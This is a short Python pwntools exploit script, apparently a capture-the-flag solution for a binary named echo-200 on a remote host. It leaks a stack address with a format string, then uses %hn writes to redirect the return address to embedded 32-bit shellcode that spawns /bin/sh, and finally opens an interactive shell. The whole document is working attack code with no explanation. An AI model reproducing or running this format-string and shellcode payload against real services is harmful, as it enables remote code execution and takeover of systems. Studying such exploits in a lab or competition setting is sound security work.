#!/usr/bin/env python
from pwn import *

DEBUG = 0
if DEBUG:
	p = process('./bin/echo-200')
else:
	p = remote('106.75.9.11', 20001)

context.log_level = 'debug'
def exp():
	p.recvuntil("\n")
	p.sendline("%5$x")
	buf_addr = u32(p.recvuntil('\n')[:-1].decode('hex')[::-1])
	print "buf_addr =>", hex(buf_addr)
	p.recvuntil("\n")
	payload = p32(buf_addr-0xc)
	payload += "%"+str(0x200-4)+"c"
	payload += "%7$hn"
	p.sendline(payload)
	p.recvuntil('\n')
	ret_addr = buf_addr - 0x20
	payload_addr = buf_addr + 0x100
	print "payload_addr =>", hex(payload_addr)
	payload_low_addr= payload_addr & 0xffff
	payload_high_addr = payload_addr >> 16
	if payload_high_addr > payload_low_addr:
		payload2 = p32(ret_addr)
		payload2 += p32(ret_addr+2)
		payload2 += '%'+str(payload_low_addr - 8)+'c'
		payload2 += "%7$hn"
		payload2 += '%'+str(payload_high_addr - payload_low_addr)+'c'
		payload2 += "%8$hn"
		payload2 += 'a'*(0x100- len(payload2))
		payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
	else:
		payload2 = p32(ret_addr+2)
		payload2 += p32(ret_addr)
		payload2 += '%'+str(payload_high_addr - 8)+'c'
		payload2 += "%7$hn"
		payload2 += '%'+str(payload_low_addr - payload_high_addr)+'c'
		payload2 += "%8$hn"
		payload2 += 'a'*(0x100- len(payload2))
		payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

	p.sendline(payload2)
	p.interactive()

exp()